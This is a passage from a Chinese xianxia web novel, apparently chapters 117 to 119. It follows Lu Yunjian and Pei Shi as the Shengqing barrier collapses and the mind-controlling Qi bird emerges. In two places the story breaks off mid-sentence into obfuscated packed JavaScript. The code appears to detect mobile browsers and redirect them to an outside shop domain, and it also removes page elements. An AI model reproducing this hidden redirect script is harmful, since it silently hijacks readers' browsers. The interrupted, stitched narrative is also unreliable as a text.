虽说此处本就荒僻,但如今百姓基本都被转移至了各个仙门的结界之内,各处屋子都空了,显得这世间大片地方都空空荡荡、杳无人烟。 陆云笺抬头望了望几乎遮盖住整片天穹的繁茂枝叶,又低下了头。 连一声鸟鸣都没有,太静了,太空了。 只有风吹过的沙沙声响……也或许并不是风。 陆云笺忽地顿住脚步,抬手夹住一枚自身后飞来的银刃。 她微微侧过脸,便见一树繁茂枝叶不知何时成了片片薄如蝉翼却锋利非常的飞刃,叮叮当当撞在一起,又幻化出更多飞刃,宛如山间忽然卷地而起的旋风,瞬时裹挟而来! 然而陆云笺破除术法更快,尚不及人看清,她已然收回破月,利刃刹那溃散,林间树木倒伏,而她全不费力。 “奉劝诸位不要再对我使用这个术法。”陆云笺冷冷开口,“陆稷将这个术法设为哀牢的训练时,难道不曾告知你们,这个术法是我所创?” 四周树木尽数倒伏,来人藏无可藏、避无可避,便纷纷自先前藏身之处出来。 一、二、三、四、五、六。 陆云笺见人到齐了,便微微笑道:“银鹰卫,久闻大名。” 六人俱是一身沉沉的黑,唯有银线所绣流云纹样与遮住下半张脸的银质面具光辉夺目,即便在阴沉不见天日之时也熠熠生辉。 陆云笺悠悠把玩着破月,不动声色地细细打量着六人,道:“方才这个术法,气势倒是凶狠,速度也还过得去,但只有薄薄一层,如果有人能同时将所有飞刃都击碎,那这个阵法便不堪一击。” “诚然,不管什么术法都必有缺漏,这就是破阵之法。”陆云笺闪身躲过扑上来的一人,一边拆招,一边继续道,“但如果能在这一层飞刃后再加两层,那么即便破了一层,也难以立刻打破第二层,这便有了可乘之机。 “不过若是无法同时制造出三层飞刃,那就只有另一法了——” 第一个冲上去的银鹰卫猛地抓住了陆云笺的肩膀,然而眼前灰影一闪,方才还在面前的人便忽地消失无踪,他不由得怔愣一瞬,忽觉背上传来一击重击,正欲将短匕往身后刺去,脖颈却骤然一凉—— 陆云笺利落地将破月自他脖颈中拔出,复又抬起眸:“要快,就像这样。” 说着抬脚将尸体扫到一边,又将方才击碎的几道暗箭碾作齑粉:“圣清结界才稳定没几天,就这么迫不及待地想杀了我。你们都是接了陆稷的死令的吧,不尽心为新掌门效劳,反倒一心一意做前掌门的爪牙。” 陆云笺抬起破月,指向余下五人:“看在银鹰卫的确有用的份上,我问你们最后一次。是要死守前掌门之令,还是尽心为新掌门效力?” 其余五人均缄口不言,陆云笺便也懒得再多废话,手起刃落,不过一盏茶,其中四人便身首异处。 与素未谋面的老朋友见的寥寥几面,实在说不上愉快。 陆云笺将目光转向仅剩的一人,那人伏倒在地,银质面具已然掉落,露出一张尚显青涩的少年面庞。 陆云笺顿住脚步,一时没有往前。 那少年口中不断吐出鲜血,见陆云笺望着他,像是费了毕生的力气,开口道:“陆小姐……之前我们放出了消息,过不了多久就会有下一批银鹰卫赶来,他们带了能催动妖狼躁动的东西……陆小姐,快走吧……” 陆云笺微一挑眉,收了破月,笑道:“那,多谢?” 少年再次勉力抬头时,立在对面的紫衣身影早已消失不见,林叶簌簌而落,被风卷至此处,掩盖了满地鲜血与尸首。 陆云笺仍然没有御剑,奔过山坡陡峭处,便径直一跃而下。 山的另一面立着零星几处木屋,陆云笺隔得远,辨不分明是否还有人居住,正犹豫要不要往前,却忽觉左手被人轻轻拍了拍。 陆云笺另一手暗中蓄势,偏头往左侧望去,却见是一个面生的中年妇人。那妇人的打扮与云间世地界寻常百姓并无异处,也全无敌意,拍自己的那只手因皮肤皲裂而十分粗糙,也并无不妥之处。 陆云笺的目光自她漆黑的眼眸滑过,心下疑惑,正欲开口,那妇人却先一步道:“是云间世的陆小姐吧?我没认错吧?” “你认得我?” “认得的认得的,您可是我们老百姓的大恩人哪。”妇人笑眯眯地拽了陆云笺,“别的先不说了,陆小姐是遇到什么麻烦了?” 陆云笺瞥了一眼将自己遮得严严实实的斗篷,没说话。 “我家就在那边,陆小姐要是不介意,可以先到我家避一避。新任的陆尊主下了令,那些修道的人不敢随便欺负咱们老百姓的。” 陆云笺犹豫片刻,道:“我在各大门派那儿也是戴罪之身,别连累了你。” 妇人听了这话,像是有些愠怒地啐了一口:“什么狗屁罪不罪的,那帮欺软怕硬忘恩负义的东西瞎了狗眼。”说话间她已将陆云笺拽到了屋内,反手锁紧了门,又站在窗边向外张望片刻,确认四周无人,才又把窗户合严实了。 陆云笺扫视了一圈屋内,仍然没有发现什么异样。 妇人关严实门窗,便过来拉着陆云笺坐下:“陆小姐肯定不记得我了吧? “那些个妖魔鬼怪从地底下爬出来的时候,我和我儿子还待在镜阳宗地界,是陆小姐开了那什么……是叫哀牢吧?我和我儿子跟着仙门跑,我好不容易跑到哀牢,才勉强躲过一劫。 “前些天陆尊主不是派人去哀牢押了一批修道的吗?我和另外几个普通老百姓就跟着云间世的人回了云间世地界,就想着回来一趟把我儿子的东西都带上,今天就去云间世结界里头了。” 陆云笺知道她说的是前几日云间世将吞象阁众人押回的事,那时吞象阁残部逃到哀牢,正叫唤着让裴世开结界放人进山,却先被云间世的修士追上,不仅押了残部,还要把躲在哀牢的吞象阁众人也一并押回。 裴世懒得再背一重包庇罪人的罪名,利落地开门把吞象阁众人扔了出去。 “还有那个归云仙君……是姓裴么?那天爬梯子,我本来想爬到山腰去,给受了重伤的人留着山脚的位置,但爬到一半就吃不消了,是他把我载上去的,没想到我这辈子还能踩在剑上飞一回,真是……” 这妇人十分健谈,拉着陆云笺的手像话家常一般滔滔不绝,陆云笺看着这样淳朴的笑脸,不禁苦涩地笑了笑。 “陆小姐,还有那位归云仙君,你们的好我们老百姓都记着呢,只是咱们也没什么本事,报不了你们的恩情。陆小姐莫说什么连累不连累,就是豁出性命去报恩,也没什么不值当的。” 陆云笺道:“先前听您说起您儿子,怎么没见着?” 妇人闻言叹了口气:“跑去哀牢的时候咱们娘俩走散了,回来的路上,云间世的仙君说可以帮我找找,我就想着回来收拾收拾东西,看有没有什么能帮上忙的。云间世的仙君说,这段时日清理死伤的人也没见着像我儿子的,应该是跑去哪个仙门里头了,没事的。” “……” 陆云笺默然片刻,看着她尚且算得上乐观的神情,到底没有拆穿。 那妇人说着说着,眼眶中渐渐地有眼泪漫 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她下意识抬手,先摸到有些钝了的锋刃,再摸到磨损得有些严重的木柄,才后知后觉这一下切切实实切中了肩骨,并且仍在不断下压。 陆云笺握住木柄往上抬,将砍入肩膀的锋刃抬离血肉,才看见那是一把用了许久的锄头,挂着淋漓鲜血。 回过头,对上另一双已然死白、了无生气的瞳眸。 不过短短片刻,无论是照翎族还是季衡,甚至不曾现身,就能彻底夺去一个人的神智。 这是比偶人阵要强上千百倍的术法……是如何做到的? 陆云笺猛地甩开锄头,即便知晓这妇人已然没有神智,也再难救回,仍是没有伤她,只将她打晕过去。 她抬手捂住伤口,施了个止血的咒法,奈何身上没有药,迟来的疼痛汹涌而来,不禁冷汗直冒。 陆云笺再度望向窗外,却忽然瞥见了一抹浅淡的白色影子,立在窗外,轻轻笑了一声。 陆云笺正欲出手,却先有一道金光将那抹白影打得溃散,紧接着有人推门进来,一把将她揽入怀中:“我不过是去探查各处引魂阵的情况,短短几个时辰,怎么就受了这么重的伤?” 陆云笺闻言勉强笑道:“胡说什么呢?这也叫重?” 裴世拿药的手一顿,瞥了一眼嬉皮笑脸的人,一把将药按在她肩上,疼得她龇牙咧嘴:“我错了我错了,记着教训呢。” 陆云笺抬眸望向窗外,那飘飘荡荡的白色身影早便消失不见了,仿佛只是片刻的幻觉。 “又是他。”裴世细细将药膏抹匀,“他如今五感已然尽失,过不了多久,就会魂飞魄散了。” 这药应当在裴世怀中捂了很久,以至于原本冰冷的药膏甚至带上了些许暖意,味道也并不刺鼻,反倒沾染了淡淡的白梅香。 陆云笺在熟悉的气息里渐渐安下心来,道:“他能在短时间内夺去人的神智,以对其进行操纵。我本以为他是通过附身做到的,但我将那名银鹰卫击杀时,他也不曾现身,那该是如何做到的?” 话音方落,像是回答她一般,陆云笺忽然听到一声几乎微不可察的哨声。 不……不是哨声。 陆云笺凝神听着,正欲问裴世是否也听到了,便听到了第二声。 这一声虽仍然微小,却算得上清晰,在陆云笺耳中,这声音却凄厉尖锐非常,如同一把利刃重重划过天穹,刺得人双耳生疼。 是鸟鸣,云间世的方向。 ……鸟鸣? 陆云笺猝然睁大了眼睛,伴随着脑中记忆翻江倒海,头脑时而混乱如越来越浓的迷雾,时而刺痛如愈来愈重的利刃猛刺。 是奇焳妖鸟。 117. 草木心 陆云笺眼前脑中俱是空茫一片,她在那无边无际的空茫中独自一人走着,不知来处,也不晓归途,飘来荡去,像一只无处可归的魂灵。 不知这样游荡了多久,耳边忽然传来一声惊雷炸响。 原本五感似乎都已经尽数丧失,应当是听不见任何声音的,却不知为何觉得这一声就是炸在耳边,那样清晰而响亮,瞬时驱散了一片虚无的白。 陆云笺茫然地抬头去找寻声音来处,脚下却像是山石崩裂一般,忽地裂开一道缝隙。她不自主地朝着不断扩展的裂缝一跃而下,刚从空茫的白中逃出来,又经历了短暂一瞬的黑。 “——陆云笺!” 陆云笺蓦地睁开眼。 眼前仍是简陋狭小的木屋,陆云笺侧过脸,见裴世面色苍白,才发觉他紧紧抓着自己的手那样冰冷,因为太过用力,指关节都发白。 陆云笺道:“……怎么了?”话一出口,才发觉嘴里含着好几颗“苦尽甘来”糖,浓烈的苦一时都没能彻底唤醒她的神智。 陆云笺微微动了动,一手艰难地自裴世掌中抽出,转而拍了拍他的手:“……我怎么了?” 裴世显而易见地松了口气,直至此时,他才发觉早已汗湿重衫。 “我方才用了五颗‘苦尽甘来’糖,念了十三遍清心咒,六遍唤魂咒。……你看见什么了?” “什么都没看见。”陆云笺苦涩地笑了笑,“只有无边无际白茫茫的一片,我一个人漫无目的地走,不知道要去哪儿。” 其实这才是最糟糕的。若是知道那是什么、有些什么,总能对症下药,至少能有所准备。 陆云笺道:“你听到了什么?看到了什么?” “云间世方向,鸟鸣两声,第二声比第一声略重。”裴世心有余悸地闷声道,“然后我看到你捂住了自己的双耳,跪倒在地,像失了神智。” 陆云笺听他如此说,仿佛再度听到了那一声尖锐凄鸣,连带着头脑也莫名其妙同那时一般,像是千万道利刃猛刺般疼痛起来,下意识闭上了眼,去挨过那一阵疼痛。 “不要闭眼!” 陆云笺闻言睁开眼,目光在裴世慌乱之间伸过来想要撑起自己眼皮的手上停留片刻,“噗嗤”一笑。 裴世的手僵在半空。 “中了一次招就不会有第二次,别担心。方才我还问天玑长老知不知道奇焳的特性,没想到这么快就几乎有了答案……”陆云笺说着起了身,“奇焳‘其鸣凄厉,闻之者莫不怆然悲戚’,我好像知道什么叫作‘闻之者莫不怆然悲戚’了。” “迷惑人的心智?” “或许?”陆云笺的声音少见地有些苍白无力,“倘若他们真的能利用奇焳迷惑人的心智,那就有些难办了。毕竟失智的人并不能算作死人,更不能算作妖魔,那么圣清结界和引魂阵对他们都没有效用。” 裴世原想说些什么,到底是把话掐住,又咽了下去,没有出口。 陆云笺道:“怎么了?” 裴世道:“他们既然已经着手召动奇焳,想必圣清结界过不了多久就会崩塌了,快些回哀牢吧。” 陆云笺点头,看了一眼昏倒在地的妇人:“捎上她。” 二人立在归云剑上一路疾行,所过之处空空荡荡,杳无人烟。 ……应当是都转移至各仙门结界之内了吧。 陆云笺只草草扫了一眼,便不再往下看。 所幸到了哀牢,引魂阵法并无错漏,圣清结界也暂且无恙。陆云笺再度在山顶端坐下来,没有再费力去加强圣清结界。 如若幕后之人能瞧出……抑或者幕后之人就是季衡,他自然是知晓圣清结界是以云间世为中心阵眼的千机阵的,必然会集中精力毁去云间世的结界,云间世结界一毁,其余各处的圣清结界再强大也撑不住。 平心而论,圣清结界一破,妖魔尽数归世,修真界并不见得有多少胜算。 正因如此,陆稷才会宁愿自己身死也要保圣清结界再多一些时日,也正是这半月,他们才得以布下诸多引魂之阵,得以将所有百姓转移到仙门结界内。 可陆稷耗竭灵力、爆体而亡才撑住神树半月,即便再加上陆明周,云间世的神树与结界又能撑多久? 最后一场死战,马上就要到来了。 陆云笺不知道这一战会死伤多少人,又能活下来多少人,修真界要付出怎样的代价才能弥补三百二十年前犯下的错,弥补三百二十年来的麻木不仁。 陆云笺又不由自主地开始摩挲破月的灵石。 这样看似平静的时日,分分秒秒守在圣清结界旁边,却是在等待它崩塌,就像是在等待死期来临。 “引魂阵并无缺漏,各处引魂阵都已就绪,圣清结界一破,便可立即开启。” 裴世将陆云笺的思绪唤回,她转过头去,看见他手上拿着绷带、药瓶和一把不知名的草,他弯下腰,将混合的药膏抹在陆云笺肩上,抹了厚厚一层,像是要把未来几日要用的药膏都抹上去。 陆云笺轻轻扯了扯嘴角:“归云仙君,你把谁家药铺子搬来啦?” 裴世微不可察地叹了口气:“陆掌柜,你都是坐拥几座山头的山大王了,我弄这么些药草岂不是微不足道?” “归云仙君岂不知我这人最是小肚鸡肠?” “那陆掌柜想要如何?” “我想想……”陆云笺说着忽然转过身,绷带从裴世手中滑落,她无视了飘荡的绷带,牵过他的手在他手背轻吻了一下,“我看归云仙君长得很好看,做我的压寨夫人如何?” 裴世一反常态地平静受下她的调戏,躬身在她唇上轻吻一下,轻轻抚着她的脸:“陆云笺,你好冷,脸色也好差。” 陆云笺在这样近乎反常的温柔中愣了神,恍惚中觉得裴世很不对劲……太不对劲了。 这是什么样的眼神? 然而裴世又是一句话便唤回了她的思绪:“不要担心。” “担心什么?”陆云笺一怔,随即笑道,“论杀人和杀邪祟,没人会比我更擅长,比成天守着圣清结界有意思多了。” 裴世将绷带缠紧缠牢,道:“那好,引魂阵我来开,今日你只需好好休息一日,万事交给我。” “好。”陆云笺很快便应下来,顺势往后一靠,靠上身后的人形床榻,没再多言,闭上了眼睛。 如此数日都不得好眠,但眼下圣清结界不知何时会出纰漏,陆云笺不敢掉以轻心,原只想闭目养神片刻,但不知是数日疲累,还是方才奇焳异动耗去了太多心力,一不留神便睡了过去。 不知过了多久,陆云笺蓦地惊醒,转头看向山下。 什么声音? 她一动弹,裴世便也缓过神来,望向山下的方向。 吧唧吧唧……嘎吱嘎吱…… 此时已近日暮,灾劫降临后的黄昏静得如同半夜三更,这声音回荡在空荡荡的石山之中,无端突兀而诡异。 二人起身朝声音来处走去,穿过裴世所设的结界,便是几个由修士凿出来的暂时安身的山洞。 这些山洞凿得简易粗陋,哀牢之中阵阵阴风自四面八方来,无孔不入地侵蚀着人的骨骼,因此无论是否入夜,众人总会在山洞中点燃火堆,无论是驱寒还是驱走别的东西,都是好的。 然而二人最先看到的两个山洞却都是漆黑一片,未点篝火,甚至没有使用烈火符照明。 那阵诡异的声响就是从第一个山洞中传出的。 二人心中都有不妙的猜想,裴世走在前头,躬身钻入山洞,然而洞中四下漆黑,实在视物不清,他正欲燃火照明,却忽然被身后的陆云笺一拽。 陆云笺将他拽到洞口,燃起一簇火,火光照亮四周的一瞬,一个黑影忽然扑将上来,裴世一手将他按趴下,那人抬起头来,分明是镜阳宗地界紫霄谷的一名弟子。 火光映亮他全然死白的眼眸与尚且挂着碎肉的鲜红的嘴,那弟子被按在地上,喉间压着低低的吼声,死死盯着陆云笺手中的火光,像是害怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那人忽然扑通一声跪倒在地,沉默了许久,才回答道:“我在吃药。” 裴世道:“什么药?” “仙人赐我的药。”那人是个身强体壮的彪形大汉,此时却毫无预兆地放声大哭起来,“仙人赐我的,保我不中邪、保我不死的药……” “什么仙人?” “渡厄仙人。”大汉大睁着双眼,茫然地流着泪,然而多少泪水也不能将他瞳眸之中那抹沉重的灰色洗净,“我爹,我娘,我媳妇,我哥……他们都中了邪,会杀人,会吃人,我不想被杀被吃……也不想杀别人……” 渡厄道人…… 大汉眸中的灰色并未褪去,但他的神智言语都像正常人一般……他是能够恢复神智的人,还是即将被彻底操纵成邪祟? 应该杀了他,还是留着他? 裴世将手中紫霄谷的弟子打晕了往地上一扔,“嗵”的一声回荡在空荡荡的山洞中,那大汉却恍若未闻,仍然一动不动地大睁着眼睛,没有去看那名弟子。 裴世一字一顿地问出最后一句:“你吃的‘药’,是什么?” 大汉闻言怔在了原地,像是在思索,然而神情却称得上空白,更像是没听见、没听懂,抑或者已经再没有思索的能力。 陆云笺心下了然。 幕后之人利用奇焳行操纵之能,但并非一瞬之间便能彻底夺去人的神智,而是有一个或长或短的过渡,人尚且“活着”时,更像是常人而非邪祟,一旦神智完全丧失,这个人便算是“死了”,届时幕后之人想要操纵他们做什么,都不再会有阻碍。 而为了加快丧失神智的速度,照翎族扮演了“渡厄道人”,引导众人杀人、食人。 这叫做“逢凶渡厄,遇难化吉”。 陆云笺冷笑一声。 可奇焳究竟是如何剥夺人的神智的?如何才能无视一切结界术法也能操纵人?要如何才能唤醒这些尚且“活着”的人? 这或许就是幕后之人的最后一张牌。 很遗憾,他们手中,似乎没有能赢过他的牌了。 修真界将要付出的代价,会比他们、比所有人预想的都更为沉重。 118. 坤舆动 陆云笺掐灭了手中照明的火焰,对裴世道:“怕是不止这几个,下山看看。” 那日镜阳宗地界圣清结界不稳,数家仙门都有撑不住的弟子逃来哀牢,后来众仙门也无暇再将他们接回门派,因此哀牢聚集了众多仙门的人士,人员十分混杂。 柳娘所在的山洞距山顶不远,二人先绕去了柳娘所在之处,所幸与柳娘等几人待在一处的修士修的是清心之道,定力比寻常修士更强,且柳娘几人有先前陆裴二人给的驱邪符咒,因此安然无事。 陆云笺越往山下走,心中便愈发沉重。 所幸二人发现及时,且奇焳尚未完全出世,哀牢只有三处有人伤亡,绝大多数人都待在山洞里,未受影响。 二人与大多数门派的人都并不相熟,因此只提醒众人时时默念清心咒,保持神智清醒,便不再多留。 山腰处的山洞最为宽敞,吞象阁的人一走,便只剩了另一个门派的寥寥三名修士,显得偌大的山洞太过空荡。 陆云笺迈入洞中,简单对三人说明了事由,便转身打算离开,然而其中一名修士犹豫片刻,忽然站起身来唤道:“陆小姐,归云仙君,请留步。” 裴世闻言,指尖一动,随时准备召唤归云。 陆云笺偏过脸:“怎么?” 这修士的面容与衣着都很是面生,整条左臂已然消失不见,也没有好好包扎,看肩膀处的断口,是妖魔扯住臂膀整条撕咬下来的。此人淡红的衣裳也已然被暗红铺满,显得整个人单薄却又无端亮眼。 他嗫嚅了半晌,道:“我……我是修清心道的,二位若是需要,我可以给待在这里的修士都打上净魂咒,可以压制心中杂念的。” 陆云笺道:“你是哪个门派的?” “……浮花院。” 陆云笺只知浮花院是云间世地界的一个小门派,却不知这门派主修的是什么,只是光听名字,也并非是主修清心之道的。 那修士像是瞧出了陆云笺所思所想,道:“我派主修蛊心摄魄的术法,我于此道没有禀赋,师尊就传了我清心之道……陆小姐可以放心,我的清心道在门派里练了不少,应该没问题的。” “蛊心摄魄?”陆云笺蓦地转过身来,声音之中竟然有些微惊喜,“那依你之见,奇焳是如何影响人的神智,进而操纵人的?” 那修士有些为难地低下了头:“这……” 自山洞深处、微弱火光之后,又走出一名年轻女子,冷声道:“他于此道一窍不通,陆小姐还是不要信他为好。” “对对对,”那修士一喜,忙让开道路,“这是我大师姐,很厉害。” 那女子生得明艳,声音却冷:“奇焳极少现世,典籍所载‘其鸣凄厉,闻之者莫不怆然悲戚’,是指奇焳善调动人之贪、嗔、痴,诸如此类杂念,闻之者一旦心念不平、定力不佳,便易被心中杂念左右,失去神智。至于借以操纵人一说,我亦不曾听说。” “那依阁下之见,要如何唤醒失智之人?” “奇焳能够调动人心杂念,是蛊心摄魄极佳的方法,因此我派才对其有所考究。至于破解之法,我也并不知晓,若是能将其视作蛊心摄魄之道,或许清心、净魂之类的术法会有效。” 是了……清心,净魂。 陆云笺心中的浓雾稍稍散去了些许。 那时自己受奇焳影响,裴世念了十三遍清心咒、六遍唤魂咒也未见效,想来此等简单的术法对付不了奇焳,唯有“净魂”,或许才有效用。 然而那女子接着便道:“不过净魂术法虽强,却相当耗费灵力,倘若真如陆小姐所言,奇焳即将出世,想必不少人会受到影响,想要如此广范围地使用净魂术法,几乎不可能。” “你只需将最强的净魂术法传授于我,”陆云笺道,“我会尽可能地将其扩大。” 那女子定定地看了陆云笺一阵,正欲开口,到嘴边的话却像是蓦地卡住了,她望向洞外,有些惊恐慌乱地睁大了眼睛。 陆云笺尚未回头,便听天穹之上传来轰然一声巨响。 不过瞬息之间,覆盖万里的圣清结界,忽然毫无预兆地崩塌了。 没有裂缝,没有破碎,只像是一座流光溢彩又虚无飘渺的神殿,屋瓦砖石轰然坍塌下落,仿佛另一片天穹沉沉压了下来,掀起万里尘沙。 喧嚣尘沙覆盖世间,昔日辉煌的仙门百家就此被压在废墟之下。 陆明周的衣襟早已被鲜血染透,一手攥着灵力几近透支的掌门令,一手握着遍染鲜血的云振剑,然而既保不住神树,也杀不尽妖魔。 神树之下的尖锐鸟鸣震得他双耳嗡鸣不已,耳边一遍遍回荡着先前许多修士报上的讯息。 “太玄庄圣清结界塌了……” “清净阁亡了……” “北斗坞……” 如今仙门百家都只能堪堪守住自家结界,云间世支撑众多阵法,也早已不支。 修真界耗时五年、孤注一掷设下了千机阵,云间世的阵眼一毁,强悍的万里圣清结界什么都不再剩下,又会如逆转时空前,妖魔肆意横行,仙门苦苦鏖战。 只剩断界阵法了。 陆明周勉力抬头,望向云间世禁地的上空。 猩红的裂缝缓缓扩张,像是有什么东西,或者并不是一样东西,而是千千万万破世而出的妖魔扒在裂缝边缘,一点一点撕开缝隙。 时空裂缝用不了多久就会扩张至可容人通过的宽度,马上就可以开启断界阵,撕开时空裂缝了。 陆明周绝望地闭上了眼睛,耳边万籁俱泯,再睁眼时,早已枯萎的神树已然倒伏在地,干瘪的枝条与大地融为一体,逐渐消散不见。 神树毁灭,圣清结界坍塌,灾劫真正降临时,从来不会多待片刻,不会给人以片刻喘息之机。 陆明周咬破指尖,将鲜血沿着掌门令的纹路涂抹开来。上方金蓝交错的结界光芒复归璀璨,神树倒伏,但云间世的结界好歹保住了。 结界在,结界之外的妖魔就绝难闯入,结界之内的妖魔也会受到压制,过不了多久,自云间世山底出世的妖魔就会复归地下,或是被屠杀尽。 身旁又传来妖魔低啸,陆明周提剑正欲迎击,却忽觉眼前一片鲜红,一时什么都瞧不真切,他下意识抬手一抹,眼前仍是模糊一片,低头去看,手上也沾满了鲜红的血。 陆明周放下手,脑中却开始嗡嗡作响,伴随着不可抗拒的眩晕,灵流在体内横冲直撞,却因灵力消耗过大而显得近乎微弱无力。 勉强睁眼去看前方,却见先前立在面前的妖魔不知何时不见了,陆明周心道不妙,下意识闪身,回头见那只妖魔扑将上来,却先有一道银刃将那妖魔击倒。 陆明周抬眼望去,见是先前派遣出去探查各处的一名银鹰卫,便抬手示意他过来。 那银鹰卫一时怔然:“……尊主,您怎么了?” 陆明周闻言又抬手抹了把脸,却只见得满手鲜血,想来脸上已经不能看了,便不再去抹,只道:“传我掌门令,银鹰卫速往各地,开启引魂之阵。” “开引魂阵!” 陆云笺不再多留,转身奔往山顶。 裴世无需她再言,抬手召动阵法,因圣清结界崩塌而复归漆黑的天空忽地又亮起了一阵猩红光华,诡谲繁复的阵法悬于空中,而后猛地落至地面,激起一众妖魔鬼怪的尖啸! 那阵足以令天地崩裂的啸叫只持续了短短片刻,而后狂乱的妖魔嘶吼忽地减轻了不少。 引魂阵一开,亡魂鬼祟之类便会被引往转生,虽是无疑减轻了世间动荡,却仍有无数妖魔源源不断地自地底翻涌而出,无休无止。 溢彩华光被铺天盖地的猩红光华取代,二十余日的平静安宁被猛然掀起的呼喝厮杀取代,刀光剑影如同疾风骤雨,天地间一片纷乱狼藉。 人杀了妖魔,妖魔吃了人,人变成了妖魔,人吃了人。 陆云笺一路奔至山顶,人间的腥风血雨一览无遗。她只瞥了一眼,便不再多看,收回目光时,方才那抹一闪而过白色身影又出现在了眼前。 陆云笺一见这抹影子,便是一连串攻击关押限制咒法招呼上去,然而那抹白影被打得手忙脚乱、魂魄不稳,却终究没有魂飞魄散,也没有被限制住行动。 照翎族体内那一根箜篌琴弦,不仅保住了他的魂魄,甚至还赐予了他“金刚不坏之身”。 妖魔已然出世,参世仙人留下的神器何时才能现世? 陆云笺不再指望打散照翎族的魂魄,只源源不断快速地放出攻击,只望这照翎族无暇再有其他动作,能够拖住他,直至他时日耗尽,自然魂飞魄散。 那照翎族见陆云笺如此,却像是觉得有些好笑:“战无不胜的陆小姐,只能出此下策了么?” 陆云笺默然不语,忽然一人将自己一把拽至身后,替她继续放出攻击。陆云笺得了空,当即召出破月妖狼,命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586182|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它下山诛杀妖魔。 照翎族眨眨眼,仍旧笑容不坠:“归云仙君也算得不择手段了,那老秃驴传给你们的引魂阵你们也敢用?” 陆裴二人恍若未闻,那照翎族却浑然不在意,只自顾自地道:“想来二位应当猜到了,我之所以魂魄不散,是因为箜篌琴弦,而这根琴弦,正是那秃驴盗给我的。 “他家里人被妖魔杀了个干净,剩他一个被参世仙人救下,在蒲山随仙人修行。 “如你们所见,参世仙人用自己手中那段照灵骨造了一件箜篌神器,想着来日妖魔出世,能用箜篌镇压妖魔。 “那神器可是个厉害物什,参世仙人造它造了几百年,别说用它救世了,上手轻轻一弹,灵力弱的人就能耗竭灵力、爆体而亡。” 陆云笺闻言,微微蹙眉:如若无津大师所言属实,逆转时空前的确有一位青竹君携箜篌救世,却最终爆体而亡,难道正是因为灵力不足?可若如此,参世仙人怎会放心将最后一根琴弦融入青竹君体内,又将神器交与他? 照翎族的声音轻且缓,像是在讲一个无关紧要的故事:“不得不说,那秃驴的禀赋倒是很不错,参世仙人原是想培养他,等仙人死了,就将神器交给那秃驴的。 “我在蒲山待了几百年,早便待得憋闷不已,奈何魂魄零散,蒲山结界又强,我想逃也逃不出去。 “说起来,其实我还得好好谢谢他。那时他大概……十五岁?跟我说什么他家里人被妖魔杀了个精光,他不能下山,问我能不能帮他报仇。” “那自然是极好的。于是,他盗了一根箜篌琴弦助我修复魂魄……” 照翎族轻轻拂了拂胸口,此时他的魂魄已浅淡得近似薄雾,那根金色琴弦虽细如雨丝,在他体内却也显得十分夺目。 他继续道:“还助我逃出蒲山。我向来是个守信的人,出山第一件事,就是帮他报了仇,那村子里的妖魔走兽虫豸或是人,都被我杀得干干净净。我冒着被仙人抓住的风险与他通风报信,结果他说——说我残暴?” 照翎族说到此处,笑意已显癫狂:“他真以为自己当个小小方丈,拨弄几颗破珠子,就能把他自己的罪孽一笔勾销、立地成佛了?他若真光明坦荡,又何必叛逃出山,直至仙人身死,也不敢回去看一眼?” 照翎族再度将被陆裴二人打散的魂魄聚起来,望向二人,神色竟称得上怜悯或恳切:“你们居然还与怜生寺走在一处……真是不知该说可笑还是可怜。” 他收回目光,轻飘飘望了眼山下的血雨腥风:“这世间妖魔横行,出自他手,如他所愿。如今箜篌少了一根弦便不过是废物,说起来我与二位也算有些缘分,便为你们指一条明路吧。” 他说至此处,陆云笺忽地想起来无津大师说,青竹君灵力不支、爆体而亡,且“箜篌碎裂”。 参世仙人的灵力无论在何时都已是世间之最,他造出来的神器,绝难有灵力不支的情况。 ……难不成“箜篌碎裂”,正是因为箜篌少了一根弦,所以灵力大大削弱了?可裴世说过,参世仙人后来又造了一根琴弦,二十三弦箜篌,一弦不少。 那么……即便能得箜篌神器,也终会灵力不支,不能救世? 照翎族抬起一手,遥遥指了指云间世的方向:“撕开时空裂缝,让另一个时空,代你们受灾。” 陆云笺蓦地睁大了眼睛。 “陆小姐不必如此惊讶,这原也不是什么难猜的事。”照翎族笑道,“毕竟仙门早就开始筹备此事了吧?只可惜我看不到那样壮观的景象,真是遗憾万分啊。” “……” “哀牢邪厉之气的确很重。时日无多了,”他拍了拍手,忽地转了话锋,“陆小姐,借你一方宝地,我便还你一个惊喜吧。” 原本尚有微弱天光的天忽然毫无预兆地黑了,沉沉阴影铺天盖地笼罩下来。 一声尖锐凄厉的鸟鸣划破天际,已然不再遥远而微弱,而是仿佛一道破风而来的利箭,直直贯穿了双耳。 陆云笺极力稳住心神,抬眼,见天边忽地起了一片火光,那片火光由夜幕拖曳着由远及近,时而墨黑漫天,时而火光耀目。 山下有人察觉不对,奔至靠近山顶处,见到此番景象,不由惊道:“这……这是什么?金乌神鸟?是金乌吗?” 不……不是金乌。 陆云笺一颗心跌至谷底。 是奇焳。 奇焳出世了。 119. 归湮尘 奇焳,焳音绝,海鸟也。身出沧溟,通身玄色,形若金乌。翼展数丈,羽端金赤,翔于天际,遮天蔽日,若曳火而行。其鸣凄厉,闻之者莫不怆然悲戚。 清心咒无效用,净魂咒来不及,世人在难以断绝的贪嗔痴妄前,显得那样束手无策。 陆云笺的脑颅与胸腔如同被万剑贯穿,脑中记忆翻涌,那些积攒多年的怨与恨,自骨缝里一丝一丝地钻出,啃啮着每一寸血肉。 贪嗔痴妄…… 她也逃不过。 直至此时,她才知道,自己心中有怨有恨,即便一日斩杀三十六只妖魔也不得解,即便陆稷已然爆体而亡也不得休。 她以为自己可以放下…… 却不知经年的执念如此强大,即便是愈合的疤痕,要想割去也难。 